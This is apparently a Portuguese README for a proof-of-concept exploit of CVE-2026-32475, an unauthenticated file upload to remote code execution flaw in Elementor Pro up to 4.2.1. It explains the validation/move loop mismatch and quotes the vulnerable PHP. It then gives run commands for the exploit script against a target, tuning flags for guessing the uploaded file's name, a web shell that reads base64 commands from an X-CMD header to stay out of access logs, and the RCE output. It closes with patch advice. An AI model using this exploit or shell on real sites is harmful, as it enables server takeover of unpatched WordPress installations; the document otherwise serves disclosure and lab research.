
PoC para CVE-2026-32475: Elementor Pro <=4.2.1 upload de arquivo não autenticado para RCE. Python apenas com stdlib.
| CVE | CVE-2026-32475 |
| CVSS | 9.0 Crítico |
| CWE | CWE-434 (Upload Irrestrito de Arquivo com Tipo Perigoso) |
| Autenticação necessária | Nenhuma |
| Afetado | Elementor Pro ≤ 4.2.1 |
| Corrigido | Elementor Pro 4.2.2 (2026-08-19) |
| Relator | Tin Pham (TF1T), via Patchstack Bug Bounty Program |
Visitante não autenticado
│
▼
Página de Formulário do Elementor (campo Upload de Arquivo)
│
▼
POST multipart/form-data → admin-ajax.php
│
├── parte #1: arquivo vazio
│ └─► validation(): UPLOAD_ERR_NO_FILE → return ◄── a validação PARA aqui
│
└── parte #2: shell.php
└─► nunca passa pela verificação de tipo
│
▼
process_field(): continua → move o payload .php mesmo assim
│
▼
wp-content/uploads/elementor/forms/<uniqid>.php
│
▼
GET nessa URL ⇒ RCE
O módulo de Formulários processa cada entrada enviada em duas passagens separadas com semânticas de loop diferentes:
validation() process_field()
──────────── ──────────────
foreach files as file: foreach files as file:
if empty(file): if empty(file):
add_error(...) continue ◄─ pula apenas esta entrada
return move_uploaded_file(...) ◄─ move o restante
validation() aborta na primeira entrada cujo erro é UPLOAD_ERR_NO_FILE, então a entrada .php que vem em seguida nunca passa pela verificação de tipo. process_field() apenas pula essa entrada vazia e ainda move todas as subsequentes para o diretório público de uploads. O validador reporta falha enquanto o movimentador prossegue — a dessincronização entre os dois loops é a vulnerabilidade.
Código vulnerável (modules/forms/fields/upload.php, ≤ 4.2.1):
// validation()
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
return; // ← aborta o loop inteiro
}
// process_field()
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // ← apenas pula esta entrada
}
...
$file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
$filename = uniqid() . '.' . $file_extension; // extensão controlada pelo atacante sobrevive
move_uploaded_file( $file['tmp_name'], $new_file );
A correção na 4.2.2 faz os dois loops concordarem — a entrada vazia não encerra mais a validação precocemente, então a entrada .php passa pela verificação de tipo e é rejeitada.
post_id, form_id e o id do campo de upload.admin-ajax.php
(action=elementor_pro_forms_send_form).<uniqid>
(veja analysis.md para o mapeamento completo de uniqid → nome de arquivo).O shell lê seu comando de um cabeçalho de requisição X-CMD (decodificado em base64) em vez de um parâmetro de query-string/POST. Isso serve apenas para manter o transporte do comando separado dos parâmetros do formulário e fora das query strings típicas de logs de acesso — não tem relação com a vulnerabilidade em si.
python3 el_rce_poc.py --url http://TARGET \
--page-url http://TARGET/upload-form/ \
--command "id; hostname; uname -a"
Apenas stdlib do Python 3. Flags de ajuste:
| Flag | Padrão | Significado |
|---|---|---|
--probe-seconds | 0.05 | janela de microssegundos do uniqid a varrer (segundos) |
--step-us | 2000 | microssegundos entre sondagens |
--workers | 24 | threads de sondagem concorrentes |
--field-id | auto | definido manualmente quando a descoberta automática do campo de upload falha |
Nota sobre alvos lentos: a fase de sondagem pode ser pesada para o alvo (milhares de requisições). Em dispositivos pequenos que hospedam tanto o alvo quanto o atacante, o servidor web pode descartar envios concorrentes — execute com --probe-seconds 0 para provar apenas a primitiva de upload arbitrário e, em seguida, localize e verifique o .php descartado diretamente no alvo em wp-content/uploads/elementor/forms/.
A PoC separa dois marcos independentes:
Primitiva de upload arbitrário → PASS / FAIL
Recuperação de nome de arquivo (uniqid) → PASS / PARTIAL
Confirmação de RCE → PASS (ambos acima bem-sucedidos)
Código de saída 0 significa confirmação completa de RCE. Código de saída 2 significa que a primitiva de upload foi comprovada, mas o nome do arquivo não pôde ser adivinhado dentro da janela (verifique o .php descartado manualmente em wp-content/uploads/elementor/forms/).
Veja docker-compose.yml. Passos completos:
# 1) iniciar WordPress + MariaDB
docker compose up -d
# aguardar ~30s pelo banco de dados e instalar o WordPress
docker compose run --rm wpcli wp core install \
--url=http://localhost:8090 --title="Lab" --skip-email \
--admin_user=admin --admin_password=admin123! [email protected]
# 2) instalar o Elementor gratuito
docker compose run --rm wpcli wp plugin install elementor --activate
# 3) instalar o Elementor Pro vulnerável (<= 4.2.1).
# O Elementor Pro é um plugin pago — coloque seu elementor-pro.zip
# obtido legalmente (ex.: 4.2.1) ao lado do docker-compose.yml primeiro:
docker compose run --rm wpcli wp plugin activate elementor-pro \
|| docker compose exec wordpress bash -c \
"cd wp-content/plugins && unzip -o /var/www/html/epr.zip"
# 4) criar a página do formulário (o repositório da PoC inclui setup_form_page.php):
docker cp setup_form_page.php wp-lab:/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
# 5) executar a PoC
python3 el_rce_poc.py --url http://localhost:8090 --page-url "http://localhost:8090/?page_id=<ID>"
Primitiva de upload confirmada — payload descartado como <uniqid>.php:
$ ls wp-content/uploads/elementor/forms/
6a8cebf002529.php
RCE confirmado solicitando o shell descartado:
$ curl http://localhost:8090/wp-content/uploads/elementor/forms/<uniqid>.php \
-H "X-CMD: $(echo 'id && hostname' | base64)"
POC-RCE-OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)
26564238432c
Atualize o Elementor Pro para 4.2.2+. Até lá, remova campos de Upload de Arquivo de formulários públicos ou restrinja o envio de formulários por regra de WAF.
Apenas para pesquisa de segurança autorizada e uso em laboratório.